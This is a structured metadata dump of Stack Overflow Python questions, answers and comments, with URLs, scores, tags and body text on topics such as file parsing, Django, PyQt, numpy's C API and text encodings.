has comment: http://stackoverflow.com/comment/80942872
has comment: http://stackoverflow.com/comment/80942797

http://stackoverflow.com/comment/80917069
score: 1
type: Comment
type: AnswerComment
has text: I got halfway through my answer before realizing that it's identical to yours.
comment on: http://stackoverflow.com/a/46984829

http://stackoverflow.com/comment/80766973
comment on: http://stackoverflow.com/q/46910233
score: 0
type: QuestionComment
has text: how are you calling `func`?
type: Comment

http://stackoverflow.com/comment/80875801
comment on: http://stackoverflow.com/q/46963987
type: QuestionComment
score: 0
has text: Can't see a use for the pandas tag, so replaced it with more relevant ones.
type: Comment

http://stackoverflow.com/comment/80885459
comment on: http://stackoverflow.com/a/46953600
has text: Good to know :-) i will check about displaying `..` and will let you know
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/46983009
score: 0
tagged with: list
has comment: http://stackoverflow.com/comment/80913748
has comment: http://stackoverflow.com/comment/80913697
has comment: http://stackoverflow.com/comment/80913655
tagged with: python
has answer: http://stackoverflow.com/a/46983173
type: Question
answer count: 2
has body: I have a text file as a database for properties of periodic elements using ~ as a delimiter to separate properties and | to separate different elements which looks like this: 1~Hydrogen~H~1.008~1~1|2~Helium~He~4.002~18~1|3~Lithium~Li~6.94~1~2| and so on... I am trying to parse the whole thing into a list that looks like this: ["1~Hydrogen~H~1.008~1~1", "2~Helium~He~4.002~18~1", "3~Lithium~Li~6.94~1~2"] This is the code have, and I am intentionally making it a class: class Parser: def __init__(self, path): self.file = open(path, "r") self.unparsed_info = self.file.read() self.element_list = [''] def parse_file(self, delimiter): for elements in self.unparsed_info.split(delimiter): self.element_list.insert(eval(elements.strip(delimiter))) def print_unparsed(self): print(self.unparsed_info) def print_parsed(self): print(self.element_list) def close_file(self): self.file.close() Element_properties = Parser("element_properties.txt") Element_properties.parse_file('|') Element_properties.print_parsed() Element_properties.close_file() But as many of you can probably tell, this prints the entire text file into every element of the list. How can I change the parse_file function so that it only puts one segment into each element of the element_list?
has comment: http://stackoverflow.com/comment/80913600
type: UnansweredQuestion
has title: Parsing text file into list with delimiter with python
has comment: http://stackoverflow.com/comment/80913531
tagged with: string
has comment: http://stackoverflow.com/comment/80913577
has answer: http://stackoverflow.com/a/46983156

http://stackoverflow.com/comment/80875876
score: 0
type: AnswerComment
has text: .Thank you very much for your help.
type: Comment
comment on: http://stackoverflow.com/a/46963848

http://stackoverflow.com/q/46938802
has title: Handling Errors/Exceptions in a Loop
tagged with: python
possible better answer: http://stackoverflow.com/a/46938948
accepted answer: http://stackoverflow.com/a/46938887
type: AnsweredQuestion
tagged with: python-2.7
score: 0
has answer: http://stackoverflow.com/a/46938887
tagged with: http://stackoverflow.com/tag/json
tagged with: error-handling
type: Question
has answer: http://stackoverflow.com/a/46938948
has body: I have two corresponding lists: One is a list of items The other is a list of labels for those items I want to write a function that check if each item in the 1st list is a JSON object. If it is, it should remain in the list but if not, then it and its corresponding label should be deleted. I wrote the following script to do this: import json def check_json (list_of_items, list_of_labels): for item in list_of items: try: json.loads(item) break except ValueError: index_item = list_of_items.index(item) list_of_labels.remove(index_item) list_of_items.remove(index_item) However, it does not remove items that are not JSON objects.
answer count: 2
tagged with: exception

http://stackoverflow.com/comment/80914470
score: 0
type: Comment
type: QuestionComment
has text: This sounds like a terrible idea. You are going to have all sorts of horrible problems if you try this.
comment on: http://stackoverflow.com/q/46982983

http://stackoverflow.com/a/47058675
has body: To fix your example, use this Main class: class Main(QWidget): def __init__(self, *args): QWidget.__init__(self, *args) familyTreeView = FamilyTreeView(self) eventsTableView = EventsTableView(self) HSplitter = QSplitter(Qt.Horizontal) HSplitter.addWidget(familyTreeView) HSplitter.addWidget(eventsTableView) HSplitter.setStretchFactor(1, 1) grid = QGridLayout() grid.addWidget(HSplitter) self.setLayout(grid) this TerraSoft class: class TerraSoft(QMainWindow): def __init__(self): QMainWindow.__init__(self) self.setWindowTitle('TerraSoft') self.setWindowState(Qt.WindowMaximized) exitAct = QAction(QIcon('exit24.png'), 'Exit', self) exitAct.setShortcut('Ctrl+Q') exitAct.triggered.connect(qApp.quit) fileMenu = self.menuBar().addMenu('File') fileMenu.addAction(exitAct) toolbar = self.addToolBar('Main') toolbar.addAction(exitAct) main = Main() self.setCentralWidget(main) self.statusBar().showMessage('Bienvenue dans TerraSoft') this FamilyTreeView class: class FamilyTreeView(QTreeView): def __init__(self, *args): QTreeView.__init__(self, *args) self.setMaximumWidth(300) self.setModel(QStandardItemModel(self)) self.model().setHorizontalHeaderLabels([self.tr("Familles")]) self.addItems(self.model(), families) def addItems(self, parent, elements): for text, children in elements: item = QStandardItem(text) parent.appendRow(item) if children: self.addItems(item, children) and this EventsTableView class: class EventsTableView(QTableWidget): def __init__(self, *args): QTableWidget.__init__(self, *args) self.setColumnCount(3) self.setHorizontalHeaderLabels(('Date', 'Catégorie', 'Description'))
accepted answer of: http://stackoverflow.com/q/47050665
has comment: http://stackoverflow.com/comment/81112299
downvote count: 0
score: 1
type: Answer
has comment: http://stackoverflow.com/comment/81086720
answers question: http://stackoverflow.com/q/47050665
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81131842

http://stackoverflow.com/q/46977856
favorite count: 0
type: Question
score: 3
type: UnansweredQuestion
has body: I wondered if there was anyone who might spare a little time to help me with Time-delay neural networks? As I understand it, each neuron is sensitive to part of the input through a particular number of time-steps. In my example, I have a 2D array of 31 amino acids in a sequence (time if you will). Each entry is a sparse encoded bitfield, 21 wide, with a true if its a particular acid, and false in all other entries. As I understand it, I need to use a convolution. I need a kernel that is 1D in size. Taking the image analogy, I have a 1D image that, instead of having RGB channels, has 21 channels thus producing 21 feature maps. My convolution is 1 x time_window_size x 21. I.e, I have 21 neurons, each sensitive to a particular channel (in this case the presence of a particular amino acid). The source code is here on git: https://github.com/OniDaito/MRes/blob/master/nn01/nn01.py I'm aware that LSTMs, dense encoding and the like will be better - I'd just like to start somewhere known and progress from there. My question - is my assumption that a 1D convolution will result in a set of neurons with shared weights that are sensitive to order and a particular channel? Cheers Ben
tagged with: python
tagged with: artificial-intelligence
upvote count: 3
answer count: 0
tagged with: deep-learning
downvote count: 0
has title: Time delay neural network in tensorflow and the meaning of convolutions
tagged with: tensorflow

http://stackoverflow.com/a/47057324
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47055771
has body: I would replace your code with something like this: def undesired_objects (image): image = image.astype('uint8') nb_components, output, stats, centroids = cv2.connectedComponentsWithStats(image, connectivity=4) sizes = stats[:, -1] max_label = 1 max_size = sizes[1] for i in range(2, nb_components): if sizes[i] &gt; max_size: max_label = i max_size = sizes[i] img2 = np.zeros(output.shape) img2[output == max_label] = 255 cv2.imshow("Biggest component", img2) cv2.waitKey() The loop on components now finds the component with the biggest area and displays it at the end of the loop. Tell me if this works for you as I haven't tested it myself.
has comment: http://stackoverflow.com/comment/81068071
answers question: http://stackoverflow.com/q/47055771
upvote count: 8
score: 8
type: Answer

utf
tag name: utf
tags question: http://stackoverflow.com/q/47000655
type: Tag

http://stackoverflow.com/q/46961002
tagged with: word-frequency
type: UnansweredQuestion
has body: I am trying to count how many times each word appear in whole corpus. But i am getting the error : corpus_root = os.path.abspath('../nlp_urdu/out1_data') mycorpus = nltk.corpus.reader.TaggedCorpusReader(corpus_root,'.*') noun=[] count_freq = defaultdict(int) for infile in (mycorpus.fileids()): print(infile) for i in (mycorpus.tagged_sents()): texts = [word for word, pos in i if (pos == 'NN' )] noun.append(texts) count_freq[noun]+= 1 print(count_freq) error which i am getting is : count_freq[noun]+= 1 TypeError: unhashable type: 'list'
has title: count frequency of all sword in whole corpus
duplicate of: http://stackoverflow.com/q/19371358
tagged with: count
tagged with: python
score: 0
linked to: http://stackoverflow.com/q/19371358
has comment: http://stackoverflow.com/comment/80869375
answer count: 1
has answer: http://stackoverflow.com/a/46961081
type: Question
tagged with: python-3.x

http://stackoverflow.com/a/47043986
has body: Maybe use a Queue instead of a callback. Initialise the queue in your main thread, pass the object to the download thread and call get() on the Queue object to block until an item is passed to it. q = Queue.Queue() d = ("hello", "world", self.app) videoDown = videoDownload(url, dt, self.dd, queue=q, data=d) returned_data = q.get() In the videoDownload object pass the data back to the main thread via the Queue if self.queue and self.data: self.queue.put(self.data)
has comment: http://stackoverflow.com/comment/81035621
has comment: http://stackoverflow.com/comment/81036320
answers question: http://stackoverflow.com/q/47043612
score: 1
has comment: http://stackoverflow.com/comment/81035349
has comment: http://stackoverflow.com/comment/81035452
has comment: http://stackoverflow.com/comment/81035752
has comment: http://stackoverflow.com/comment/81035764
has comment: http://stackoverflow.com/comment/81036268
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/81071192
upvote count: 1

http://stackoverflow.com/a/46964638
type: Answer
score: 5
has body: The quickest route is to use the shell's stdout redirection operator (&gt;) to send the output to a file: $ python your_script.py &gt; your_new_file.txt To append that file, use the append operator rather than overwriting any file that happens to be there: $ python your_script.py &gt;&gt; your_appended_file.txt If you want a pure Python approach, open the file and write to it with .write(): with open('your_new_file.txt', 'w') as f: for t in numpy.arange(0, t_end, Dt): # attempting to faithfully recreate your print statement # but consider using a single format string and .format output = ' '.join(('Time ', t, 'Max_temp ', "%.3E " % T.vector().array().max()) f.write( output ) ... (And note here the use of with to open your file, over manually closing your file with f.close. The with statement makes operations like this much safer and puts less burden on you, the programmer to remember small but important details like remember to close the file.)
downvote count: 0
answers question: http://stackoverflow.com/q/46964580
upvote count: 5

http://stackoverflow.com/comment/80785272
type: AnswerComment
comment on: http://stackoverflow.com/a/46918818
score: 0
type: Comment
has text: cant even seem to get the input msg out there which is: input ("Please input the value you want to use to calculate the volume of the cube")

http://stackoverflow.com/comment/81075490
score: 0
type: Comment
has text: That depends on how you want to represent the extra entries in the CSV. New lines in the same cell, or new column headings?
comment on: http://stackoverflow.com/a/47060477
type: AnswerComment

http://stackoverflow.com/comment/81035766
comment on: http://stackoverflow.com/q/47043963
type: Comment
type: QuestionComment
has text: Do it explicitly using a context manager. Your class will need `__enter__` and `__exit__` methods and callers will use it via the `using` statement.
score: 0

django-models
tag name: django-models
tags question: http://stackoverflow.com/q/46973674
tags question: http://stackoverflow.com/q/47012130
tags question: http://stackoverflow.com/q/47041699
tags question: http://stackoverflow.com/q/46919009
tags question: http://stackoverflow.com/q/46986605
tags question: http://stackoverflow.com/q/47054373
tags question: http://stackoverflow.com/q/46935758
tags question: http://stackoverflow.com/q/47059534
tags question: http://stackoverflow.com/q/47056158
tags question: http://stackoverflow.com/q/46929211
tags question: http://stackoverflow.com/q/46913902
tags question: http://stackoverflow.com/q/47053260
tags question: http://stackoverflow.com/q/46915981
tags question: http://stackoverflow.com/q/47063257
tags question: http://stackoverflow.com/q/47064147
tags question: http://stackoverflow.com/q/46926536
tags question: http://stackoverflow.com/q/47002559
tags question: http://stackoverflow.com/q/46928060
tags question: http://stackoverflow.com/q/47046309
tags question: http://stackoverflow.com/q/46995914
tags question: http://stackoverflow.com/q/46985372
tags question: http://stackoverflow.com/q/47047121
type: Tag
tags question: http://stackoverflow.com/q/47019676

http://stackoverflow.com/q/46991708
answer count: 2
downvote count: 0
score: 1
upvote count: 1
has answer: http://stackoverflow.com/a/46991903
favorite count: 0
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/46991779
linked to: http://stackoverflow.com/q/6340351
tagged with: python
accepted answer: http://stackoverflow.com/a/46991903
has title: How to loop through a list of lists while preserving structure
possible better answer: http://stackoverflow.com/a/46991779
has body: I am trying to create a simple function to reformat items in a list then print them This is simple enough for a list: my_list = [1/3,7/11,2/5] #generate list of floats formatted_list = ['%.2f' % elem for elem in my_list] #format to 2 d.p print(formatted_list) #print re-formatted list But I have a list of nested lists. To loop through each item of these I need to do something like in this answer. That then allows me to write say my_list = [(1/3,1/4,1/5), (2/3,2/4,2/5), 3/3] formatted_list = ['%.2f' % elem for elem in traverse(my_list)] #loop over unpacked list However the major drawback of this, is that it no longer preserves the structure (the tuples within the list). That is: print(formatted_list) returns 0.33, 0.25, 0.2, 0.66, 0.5, 0.4, 1.0 #I want (0.33, 0.25, 0.2), (0.66, 0.5, 0.4), 1.0 Is there a way of reformatting, or more generally iterating over items in an arbitrarily deep nested list, to return a list with the same structure as the original?
type: AnsweredQuestion
tagged with: list

http://stackoverflow.com/comment/81068740
score: 1
has text: My guess would be that `is_str` is `False`, and no element of `new_list` is identical to `False`.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47060564

http://stackoverflow.com/comment/80864631
has text: I got empty rows. Oh now I see it maybe because I used pd.read_clipboard duplicate columns added with .1 at the end sorry my bad
type: Comment
comment on: http://stackoverflow.com/a/46958042
type: AnswerComment
score: 1

http://stackoverflow.com/comment/80943387
score: 0
has text: Also https://stackoverflow.com/questions/25103085/chaining-is-operators
comment on: http://stackoverflow.com/q/46998356
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/81038891
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47045741
type: Comment
has text: But this wouldn't work for the second case, right? Where the last value position is maintained but the two elements before it are swapped with the first 3 elements. @nickie states it correctly

http://stackoverflow.com/comment/81036389
type: AnswerComment
score: 0
has text: These are all different errors. According to [docs](http://www.oracle.com/technetwork/articles/dsl/prez-python-queries-101587.html) you can use either named or numbered parameters.
type: Comment
comment on: http://stackoverflow.com/a/47022708

http://stackoverflow.com/q/46910359
type: Question
answer count: 2
has body: Here is my source code I'm doing this without using import math #2-d list append n=int(input('enter final value')) l=[] for i in range(0,3): l[i]=[] if i==0: for x in range(0,n+1): if x%2==0: l[i].append(x) if i==1: for x in range(0,n+1): if x%2!=0: l[i].append(x) if i==2: for x in range(0,n+1) and x!=1: f=0 a=int(n/2) for j in range(2,a): if x%j==0: f+=1 if(f==0): l[i].append(x) l.append(l[i]) print(l) it shows the following error: Traceback (most recent call last): File "C:/Users/New/Desktop/py/2_D.py", line 5, in &lt;module&gt; l[i]=[] IndexError: list assignment index out of range I'd like to know how should I correct my code to be able to insert a 2-d list
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80767314
has answer: http://stackoverflow.com/a/46910495
tagged with: python
score: 0
has answer: http://stackoverflow.com/a/46910420
has title: How to insert 2-d list?
has comment: http://stackoverflow.com/comment/80767318

http://stackoverflow.com/q/46957801
has answer: http://stackoverflow.com/a/46957907
has body: My sentence is say, "I want to remove this string so bad." I passed this text file as text = sc.textFile(...) and I want to filter out(i.e remove) the word "string" I noticed that in python, there is a "re" package. I tried doing RDD.map(lambda x: x.replaceAll("&lt;regular expression&gt;", "")) to filter out the "string" but seems like there is no such function in PySpark because it gave me an error.. How do I import "re" package? or is there any other function that I can use to remove/filter out certain string based on regular expression in PySpark?
downvote count: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/76287901
has title: How to replace/remove regular expression in PySpark RDD?
has answer: http://stackoverflow.com/a/46962094
accepted answer: http://stackoverflow.com/a/46962094
tagged with: pyspark
tagged with: python
upvote count: 2
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/11475885
possible better answer: http://stackoverflow.com/a/46957907
tagged with: apache-spark
answer count: 3
score: 1

http://stackoverflow.com/q/46995313
has comment: http://stackoverflow.com/comment/80941123
tagged with: python
linked to: http://stackoverflow.com/q/47002129
has title: list position replacement with if statement
linked to: http://stackoverflow.com/q/6916542
linked to: http://stackoverflow.com/q/2084069
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/46997795
tagged with: list
linked to: http://stackoverflow.com/q/5618878
has answer: http://stackoverflow.com/a/46997795
answer count: 1
has comment: http://stackoverflow.com/comment/80937307
has body: Can we perform replace on python list? I have that list that is imported from csv file: [['1', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '1', '0', '0', '0', '0', '0', '0', '0', '0', '0', '1', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0'], ['2', '0', '0', '0', '0', '0', '0', '0', '1', '0', '0', '0', '1', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '1', '0', '0', '0', '0', '0', '0', '0', '1', '0', '0', '0', '0'], ['3', '0', '0', '0', '1', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '0', '1', '0', '0', '0', '0', '0', '0', '0', '0', '1', '0', '0', '0', '0', '0', '0', '0']] fist index(mark as bold) from list above will became costumer id followed by the item that they buy, from list above we can see costumer 1 purchased item in column 12 that marked by italic. desire out put is : costumer 1 purchased item 12 and item 22 and so it's for costumer 2 and 3 Note that I have try used panda and not work, and I not sure how to use if statement inside the for loop. Also, I have used rappid minner and they replaced column by column and they included the [0][0] to be replaced. Is there any other solution beside python? Here is my code: import csv csvfile = open("tran.csv", 'r') reader = csv.reader(csvfile, delimiter=',') my_list = list(reader) a = len(my_list[1]) b = (my_list) x=0 y=0 for name in my_list: print ("costummer", my_list[0][0], "buy", my_list[n][g]) update for csv writer: csvdict = {words[0]:words[1:] for words in csv} for x in csvdict.keys(): # iterate over the keys '1', '2', .... products = [index+1 for index,v in enumerate(csvdict[x]) if v == '1' ] # create list of purchases where the '1's are indexed f = open("trans.csv", 'w') result = ("costummer", x, "buy", products) resultstr = (','.j…
favorite count: 0
type: Question
upvote count: 0
tagged with: pentaho
score: -2
downvote count: 2
tagged with: data-cleaning

http://stackoverflow.com/comment/80798266
type: Comment
score: 0
has text: sorry for didn't make it clear. When you run with a single thread, or without ''.join(), even with a infinite loop, the memory usage will keeping under a certain line, eg 8MB or more. It will not not not (important declare 3 times) grew to hundreds MB or even more(a similar example with 4096 threads eat up 13GB RAM). Only 'loop make it growing can't make sense to me bro.
comment on: http://stackoverflow.com/q/46924974
type: QuestionComment

http://stackoverflow.com/q/46995914
tagged with: django-queryset
type: UnansweredQuestion
tagged with: django
has title: How to make Django Model run some function when create
has answer: http://stackoverflow.com/a/46997909
type: Question
has body: what I want I have a column video_length in a model called Episode, and another column sum_length in another model Series. I want sum_length only update when episode create, don't update when i modify it. How i do this now? now, i override the save function,and add a function call to update it, just like this. def save(self, *args, **kwargs): if not self.excerpt: md = markdown.Markdown(extensions=[ 'markdown.extensions.extra', 'markdown.extensions.codehilite', ]) self.excerpt = strip_tags(md.convert(self.description))[:54] self.series.addlength(self.video_length) super(Episode, self).save(*args, **kwargs) As excerpt is generated by markdown content I think that when excerpt is blank is saved, not updated. Why i ask this question ? my workaround is useable ,but I want to find a more pythonic code my workaround will not update when I really need update it. What you can give me ? maybe a sample code is fine other information Django :1.11.6 Python :3.6.3 Database: MySQL Thanks For your answer
has answer: http://stackoverflow.com/a/46996042
upvote count: 10
downvote count: 1
tagged with: django-models
tagged with: python
favorite count: 0
score: 9
answer count: 2

http://stackoverflow.com/comment/81278172
type: QuestionComment
has text: @NatBat could you include some sample input in the question (something that could be used as values of `trainingInp` and `trainingOut`)? I'm having a hard time in the pull request -- whatever input I try for a test case, it fails dimension checks.
score: 0
comment on: http://stackoverflow.com/q/46999519
type: Comment

http://stackoverflow.com/a/59624883
has body: 'exec(%matplotlib inline)' should work fine. I have tested it on my system and it works fine with python3.6
score: 1
type: Answer
downvote count: 1
upvote count: 2
answers question: http://stackoverflow.com/q/47007130

http://stackoverflow.com/q/47012154
has comment: http://stackoverflow.com/comment/81011719
tagged with: matplotlib
has comment: http://stackoverflow.com/comment/80971904
has body: I can get a object after the function contourf like this: import matplotlib.pyplot as plt import numpy as np im = plt.contourf(np.random.rand(10,10)) however, is it possible to reacquire the object, im, like this: plt.contourf(np.random.rand(10,10)) im = plt.gca().get_contourf?
type: Question
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/81002092
has title: reacquire contourf return value in python
score: 0
answer count: 0

http://stackoverflow.com/a/47027598
type: Answer
score: 13
answers question: http://stackoverflow.com/q/47026900
upvote count: 13
has comment: http://stackoverflow.com/comment/97914446
accepted answer of: http://stackoverflow.com/q/47026900
type: AcceptedAnswer
has body: Quick Fix (read on for more details and a more sophisticated approach): You need to initialize the variable PyArray_API in every cpp-file in which you are using numpy-stuff by calling import_array(): //it is only a trick to ensure import_array() is called, when *.so is loaded //just called only once int init_numpy(){ import_array(); // PyError if not successful return 0; } const static int numpy_initialized = init_numpy(); void parse_ndarraray(PyObject *obj) { // would be called every time if (PyArray_Check(obj)) { cout &lt;&lt; "PyArray_Check Passed" &lt;&lt; endl; } else { cout &lt;&lt; "PyArray_Check Failed" &lt;&lt; endl; } } One could also use _import_array, which returns a negative number if not successful, to use a custom error handling. See here for definition of import_array. Warning: As pointed out by @isra60, _import_array()/import_array() can only be called, once Python is initialized, i.e. after Py_Initialize() was called. This is always the case for an extension, but not always the case if the python interpreter is embedded, because numpy_initialized is initialized before main-starts. In this case, "the initialization trick" should not be used but init_numpy() called after Py_Initialize(). Sophisticated solution: NB: For information, why setting PyArray_API is needed, see this SO-answer: in order to be able to postpone resolution of symbols until running time, so numpy's shared object aren't needed at link time and must not be on dynamic-library-path (python's system path is enough then). The proposed solution is quick, but if there are more than one cpp using numpy, one have a lot of instances of PyArray_API initialized. This can be avoided if PyArray_API isn't defined as static but as extern in all but one translation unit. For those translation units NO_IMPORT_ARRAY macro must be defined before numpy/arrayobject.h is included. We need however a translation unit in which this symbol is defined. For this translation unit the macro NO_IMPORT_ARRAY must…
downvote count: 0

http://stackoverflow.com/comment/80996200
type: AnswerComment
has text: I'm not the downvoter but this is a bit like a trailer to a movie. Unless the OP shows their code and you can adapt this answer, it doesn't explain much.
score: 0
comment on: http://stackoverflow.com/a/47024516
type: Comment

http://stackoverflow.com/a/46996887
score: 0
has comment: http://stackoverflow.com/comment/80949847
upvote count: 1
downvote count: 1
answers question: http://stackoverflow.com/q/46996849
has body: There is a Python package (the official AWS SDK for Python, AKA boto3) https://pypi.python.org/pypi/awscli which can be used for automation. AWS CLI is also based on this library. You can also try https://aws.amazon.com/cloudformation/ in which you specify json config for the resources to the REST apis provided by AWS.
type: Answer
has comment: http://stackoverflow.com/comment/80941522

http://stackoverflow.com/comment/80998160
has text: This also creates two copies of the original list. Not that it matters much for such a small data set, but you could do `for i in reversed(k1)` instead.
comment on: http://stackoverflow.com/a/47025421
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/47041472
has body: When looking at Stackoverflow-Questions about when to raise Exceptions and when to simply return None in Python functions, the emerging picture is that you should use Exceptions for unexpected behaviour and return None otherwise. However, for-loops over iterables are realized via the StopIteration Exception raised by the next() method, although eventually reaching the "end" of an iterable usually isn't unexpected. Why is the for-loop over iterables implemented the way it is?
has comment: http://stackoverflow.com/comment/81029794
tagged with: exception
type: Question
has answer: http://stackoverflow.com/a/47041560
tagged with: iterator
accepted answer: http://stackoverflow.com/a/47041560
upvote count: 5
score: 5
downvote count: 0
has title: Why is the end of an iteration realized with a StopIteration Exception
answer count: 1
tagged with: error-handling
tagged with: python
favorite count: 0
type: AnsweredQuestion

http://stackoverflow.com/q/46931581
answer count: 1
has comment: http://stackoverflow.com/comment/80841995
tagged with: jquery
has comment: http://stackoverflow.com/comment/80843115
has body: I make an ajax call to send data to python (using flask) to update my postgresql table with additional data. In my local machine there are no errors, however, when I deploy to Heroku I get: a 'NoneType' object has no attribute 'first_name'. If I click the button a couple of time it goes through. How do I address this error? I simplified the code to only contain one variable. Here is the ajax call. $(document).ready(function() { $('form').on('submit', function(event) { var first_name = $('#first_name').val() $.ajax({ data : { first_name : first_name, }, type : 'POST', url : '/process' }) .done(function(data) { window.location.href = "/page2" }); event.preventDefault(); }); }); Here is what I am trying to update in Python using SQLAlchemy. @app.route('/process', methods=['POST']) def page2_process(): global app_id update = Data1.query.filter_by(id = app_id).first() update.first_name = request.form.get('first_name') db.session.commit() return json.dumps({'success': True}), 200, {'ContentType':'application/json'} I have tried: request.form['first_name'] I still have the same issue. Any help would be greatly appreciated. Adding the log as requested: The first line of the log is the log telling me that the update object is not empty. Because it has object 18 from Data1. &lt;Data1 18&gt; [2017-10-26 06:58:25,886] ERROR in app: Exception on /page2_process [POST] Traceback (most recent call last): File "/app/.heroku/python/lib/python3.6/site-packages/flask/app.py", line 1982, in wsgi_app response = self.full_dispatch_request() File "/app/.heroku/python/lib/python3.6/site-packages/flask/app.py", line 1614, in full_dispatch_request rv = self.handle_user_exception(e) File "/app/.heroku/python/lib/python3.6/site-packages/flask/app.py", line 1517, in handle_user_exception reraise(exc_type, exc_value, tb) File "/app/.heroku/python/lib/python3.6/site-packages/flask/_compat.py", line 33, in reraise raise value File "/app/.heroku/python/lib/python3.6/site-packages/flask/app.py", line…
favorite count: 0
has comment: http://stackoverflow.com/comment/80812578
has title: After AJAX Receiving NoneType when passing data to SQLAlchemy in Heroku no issues in local
type: Question
tagged with: ajax
tagged with: heroku
type: AnsweredQuestion
downvote count: 3
has comment: http://stackoverflow.com/comment/80845911
tagged with: python
has comment: http://stackoverflow.com/comment/80815022
has answer: http://stackoverflow.com/a/46932056
accepted answer: http://stackoverflow.com/a/46932056
tagged with: sqlalchemy
upvote count: 0
has comment: http://stackoverflow.com/comment/80810504
has comment: http://stackoverflow.com/comment/80843405
has comment: http://stackoverflow.com/comment/80812834
score: -3

http://stackoverflow.com/a/77943303
upvote count: 1
has comment: http://stackoverflow.com/comment/137504699
has comment: http://stackoverflow.com/comment/137409827
has comment: http://stackoverflow.com/comment/137410276
has comment: http://stackoverflow.com/comment/137410267
has comment: http://stackoverflow.com/comment/139496995
type: Answer
has comment: http://stackoverflow.com/comment/137410256
has body: Yes, it's broken. As far as I know, there is not any system in existence today that actually corresponds with the PSF's "cp437" encoding. That encoding was copied from this weird table by a Microsoft delegate to the Unicode Consortium; it disagrees with IBM on codepoints 0x01–0x1f (inclusive), and also disagrees with Windows over the same range, excepting only these characters, which it at least gets correct: b'\x07' emits a Bell on the Windows CMD, but a Bullet on IBM memory-mapped graphics b'\x08' emits a Backspace on the Windows CMD, but an Inverted Bullet on IBM memory-mapped graphics b'\x09' emits a Horizontal Tab on the Windows CMD, but a White Circle on IBM memory-mapped graphics b'\x0a' emits a Carriage Return on the Windows CMD, but an Inverse White Circle on IBM memory-mapped graphics b'\x0d' emits a Line Feed on the Windows CMD, but a Music Note / Eigth Note on IBM memory-mapped graphics As the other answer notes, the Unicode Consortium did produce a table documenting the behavior of IBM memory-mapped graphics — though they never did produce any table documenting the behavior of the Windows CMD. Python did not include even the IBM graphical table, though, instead aliasing "ibm437" to the weird ASCII-chimera Unicode erroneously recorded as CP437. No, no-one's filed this as a bug with the PSF yet. Probably no-one will, because of 2 reasons: First, b'\x1b' emits a Left Arrow on the Windows CMD, but libraries like colorama are hard-coded to interpret that byte as an Escape character, and finding a resolution to that will be a nuisance requiring a lot of co-ordination and causing a lot of collateral breakage. Second, codepage 437 is virtually never actually used these days, since CPython 3.6 added an invisible UTF-16 console I/O under-the-hood on Windows. If you want to use codepage x-microsoft-437 for your own purposes (for example, writing out text files that will render correctly when used with type, or doing Unicode I/O on PyPy on Windows), here's a conser…
answers question: http://stackoverflow.com/q/46942721
has comment: http://stackoverflow.com/comment/137410037
score: 1
downvote count: 0

http://stackoverflow.com/q/46993396
possible better answer: http://stackoverflow.com/a/46993483
upvote count: 8
favorite count: 0
type: Question
duplicate of: http://stackoverflow.com/q/399078
answer count: 2
downvote count: 2
score: 6
linked to: http://stackoverflow.com/q/399078
tagged with: python
accepted answer: http://stackoverflow.com/a/46993417
tagged with: regex
type: AnsweredQuestion
has title: Python Regex convert matches to a dictionary
has body: text = "Bob|19|01012017" pat = re.compile("(?P&lt;name&gt;.+)|.*|(?P&lt;bday&gt;.+)") #hopefully this regex is correct result = pat.match(text) d = result.groupdict() print d What I get for d is: {'bday': None, 'name': 'Bob|19|01012017'} What I want is: {bday: "01012017", name: "Bob"} Can someone point out what I am doing wrong? I only need two fields for dict so I didn't write the age part.
has answer: http://stackoverflow.com/a/46993417
has answer: http://stackoverflow.com/a/46993483

http://stackoverflow.com/comment/81052393
has text: @Great_DR: trust the json encoder, and trust Python. The `json.dumps()` function does what it says on the tin, it doesn't add extra characters that were not already there in the input data structure or are needed to make the document valid JSON. Look at what the view returns in a browser, for example, or use an online JSON validator to see that the value really is a valid JSON document.
type: AnswerComment
comment on: http://stackoverflow.com/a/47052246
score: 0
type: Comment

http://stackoverflow.com/a/47033961
has comment: http://stackoverflow.com/comment/81017092
type: Answer
has comment: http://stackoverflow.com/comment/81017395
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/47033626
downvote count: 0
has comment: http://stackoverflow.com/comment/81017133
has comment: http://stackoverflow.com/comment/81020626
has body: Internally python uses 64bit floats. There is no way to change this. As with any floating point numbers, you have to know, how many digits are significant. float32 has at most 8 significant digits: print "{:.8g}".format(a) If you want to use numpy's string formatting, you have to explicitly cast to string: print "{!s}".format(a)

http://stackoverflow.com/comment/81078517
score: 0
has text: @ChristianWill Ok. I added it.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47062835

http://stackoverflow.com/comment/80963137
has text: With the new ```set```, it does seem to be working fine. Thankyou
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47008173

http://stackoverflow.com/a/47214426
has body: http://psutil.readthedocs.io/en/latest/#find-process-by-name Take a look at the second example which inspects name(), cmdline() and exe(). For reference: import os import psutil def find_procs_by_name(name): "Return a list of processes matching 'name'." ls = [] for p in psutil.process_iter(attrs=["name", "exe", "cmdline"]): if name == p.info['name'] or \ p.info['exe'] and os.path.basename(p.info['exe']) == name or \ p.info['cmdline'] and p.info['cmdline'][0] == name: ls.append(p) return ls
downvote count: 0
type: Answer
